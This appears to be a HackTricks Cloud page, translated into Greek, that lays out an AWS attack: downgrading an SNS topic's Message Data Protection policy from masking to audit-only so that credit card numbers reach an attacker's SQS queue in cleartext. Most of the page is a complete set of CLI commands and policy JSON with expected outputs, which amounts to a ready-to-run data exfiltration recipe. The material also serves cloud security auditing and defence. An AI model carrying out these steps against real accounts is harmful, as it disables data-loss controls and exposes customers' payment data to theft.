AWS - SNS Message Data Protection Bypass via Policy Downgrade
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αν έχετε sns:PutDataProtectionPolicy σε ένα topic, μπορείτε να αλλάξετε την πολιτική Message Data Protection από Deidentify/Deny σε Audit-only (ή να αφαιρέσετε τους Outbound ελέγχους) ώστε ευαίσθητες τιμές (π.χ. αριθμοί πιστωτικών καρτών) να παραδοθούν αμετάβλητες στη συνδρομή σας.
Απαιτήσεις
- Δικαιώματα στο target topic για να καλέσετε
sns:PutDataProtectionPolicy(και συνήθωςsns:Subscribeαν θέλετε να λάβετε τα δεδομένα). - Standard SNS topic (Message Data Protection υποστηρίζεται).
Βήματα επίθεσης
- Μεταβλητές
REGION=us-east-1
- Δημιουργήστε ένα standard topic και μια attacker SQS queue, και επιτρέψτε μόνο σε αυτό το topic να στέλνει στην queue
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- Επισυνάψτε μια data protection policy που αποκρύπτει αριθμούς πιστωτικών καρτών σε outbound μηνύματα
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- Subscribe την attacker queue και publish ένα μήνυμα με δοκιμαστικό αριθμό πιστωτικής κάρτας, επαληθεύστε την απόκρυψη
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Το αναμενόμενο απόσπασμα δείχνει την απόκρυψη (hashes):
"Message" : "payment:{cc:################}"
- Υποβάθμιση της πολιτικής σε audit-only (χωρίς δηλώσεις deidentify/deny που επηρεάζουν το Outbound)
Για SNS, οι δηλώσεις Audit πρέπει να είναι Inbound. Η αντικατάσταση της πολιτικής με μια Audit-only Inbound δήλωση αφαιρεί οποιαδήποτε Outbound de-identification, οπότε τα μηνύματα ρέουν χωρίς τροποποίηση προς τους συνδρομητές.
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- Δημοσιεύστε το ίδιο μήνυμα και επαληθεύστε ότι η unmasked τιμή παραδίδεται
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
Το αναμενόμενο απόσπασμα εμφανίζει το CC σε cleartext:
4539894458086459
Επιπτώσεις
- Η αλλαγή ενός topic από de-identification/deny σε audit-only (ή με οποιονδήποτε άλλο τρόπο η αφαίρεση των Outbound controls) επιτρέπει σε PII/secrets να περάσουν αμετάβλητα σε attacker-controlled subscriptions, γεγονός που επιτρέπει data exfiltration η οποία διαφορετικά θα ήταν αποκρυμμένη ή θα είχε μπλοκαριστεί.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

